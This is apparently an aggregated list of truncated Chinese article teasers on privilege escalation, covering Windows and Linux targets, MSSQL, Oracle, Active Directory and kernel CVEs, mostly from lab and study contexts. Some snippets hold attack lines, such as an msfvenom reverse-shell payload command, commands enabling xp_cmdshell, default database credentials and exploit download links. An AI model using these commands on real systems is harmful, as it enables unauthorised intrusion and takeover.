给某个伙伴展示一次渗透提权
某个正在学习安全伙伴告诉我，他老师给他一个靶机让他提权，他不知道怎么下手，让我来试一下，那就试一下 知道网段ip没开机密码，他说这个靶机是这样的。固定ip是 192.168.3.5是个win2003r2的系统 那就先把虚拟机配置一下 加一个192.168.3.0网段的网络把第一个网...
Linux使用suid vim.basic文件实现提权
这篇文章主要介绍了Linux使用suid vim.basic文件实现提权,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
serv-u提权原理探究与JSP版提权木马编写
转载请注明出处：http://write.blog.csdn.net/postedit/7025588 今天在搞一个aspx的网站时，看到aspxspy这个木马中集成的serv-u提权功能，于是就有了研究一下serv-u提权原理的想法。先来看看aspxspy的相关提权代码是怎么写的： public ...
打开注册表键总是失败，权限不够，如何给进程提权？
比如我想读写HKEY_LOCAL_MACHINE\SAM\SAM下的键值，网上找了三个给进程提权的方法，但都是在用RegOpenKeyEx获取键值句柄时失败。 方法一： bool EnableDebugPrivilege() { HANDLE hToken; LUID sedebugn...
vc++高级班之注册表篇[5]---提权打开SAM子键
①、普通方式打开 SAM 子键： HKEY hKey = NULL; TCHAR *lpszSubKey = _T("SAM\\SAM\\Domains"); LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpszSubKey, 0, KEY_ALL...
Oracle 10g提权测试
一直想摸索一下orcl提权的方式，今天测试了一下10g，可以成功提权。C:\wmpub>sqlplus scott/tiger@orclSQL*Plus: Release 10.2.0.1.0 - Production on 星期一 10月 31 07:41:29 2016Copyright ...
滥用DNSAdmins权限进行Active Directory提权
0x00 前言除了在实现自己的DNS服务器功能之外，Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成。默认情况下，域控制器也是DNS服务器; 大多数情况下每个域用户都需要访问和使用DNS服务器的功能。反过来，这会在域控制器上暴露出相当多的攻击面：一方...
SQL2005之SA提权总结
首先，看看xp_cmdshell存在不,不存在的话先恢复下。Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;然后，Exec master.dbo...
CVE-2017-0213 | 记一次失败的提权经历
环境：CVE-2017-0213下载提权步骤：提权失败。。。。好迷啊，，，，事后查了一下补丁我的wind7上也没装啊，然后防火墙也是关闭的迷了迷了。。。。...
对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言：vulnhub里面的一个靶场，涉及到drupal7 cms远程代码执行漏洞（CVE-2018-7600）和脏牛提权。靶机下载地址：https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM0x01信息收集第一步打...
Ubuntu Linux 12.04 LTS amd64系统本地root提权
URL:http://www.ichunqiu.com/section/173由于fusermount二进制调用setuid的(geteuid())重置RUID时，它调用/bin/mount才能使用的特权挂载选项，通常是限制的。但是，如果RUID！= euid ,ruid(实际用户ID,指的是进程执...
CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言 该漏洞由Google project zero发现。据悉，该漏洞存在于带有 eBPF bpf(2)系统（CONFIG_BPF_SYSCALL）编译支持的Linux内核中，是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的...
Ubuntu本地提权（CVE-2017-16995）复现
面向新手，大佬勿喷 漏洞概述 2018-03-16有网友发布消息：ubuntu 最新版本（Ubuntu 16.04）存在高危的本地提权漏洞，漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，...
Msf提权步骤
1、生成反弹木马(脚本，执行程序)msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -o shell.exe2、...
mssql提权
MSSQL的提权： xp_cmshell组件的开启： 1、sql2005版本以后默认为关闭状态，需要开启命令执行 开启xp_cmdshell EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp...
[提权]MS16-016提权EXP
MS16-016提权EXP[K8]Tested On Win7 x86Usage: ms16-016_win7.exe "whoami"by K8拉登哥哥 20160216下载：http://pan.baidu.com/s/1c1r45c0...
win2003服务器一招废掉所有木马(防提权)
木马的危害，在于它能够远程控制你的电脑。当你成为“肉鸡”的时候，别人（控制端）就可以进入你的电脑，偷看你的文件、盗窃密码、甚至用你的QQ发一些乱七八糟的东西给你的好友
WINDOWS渗透与提权总结(1)
旁站路径问题：1、读网站配置。2、用以下VBS：01On Error Resume Next02 03If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then04 05MsgBox Space(12) & "IIS Virtua...
《Python黑帽子：黑客与渗透测试编程之道》 Windows系统提权
利用WMI监视进程#coding=utf-8import win32conimport win32apiimport win32securityimport wmiimport sysimport osdef log_to_file(message): fd = open("process_m...
Linux中的提权说明(chmod)
先放一张Linux上的截图，我们再来以下内容 在Linux上输入 ll命令我们可以得到如上的类似图片，就拿我用红框圈出来的内容，我们一起来探究吧。 前面的 drwxrwxrwt这就是文件或者文件夹的权限说明。 权限构成 Linux上用来标识文件或者文件夹的权限的是前面...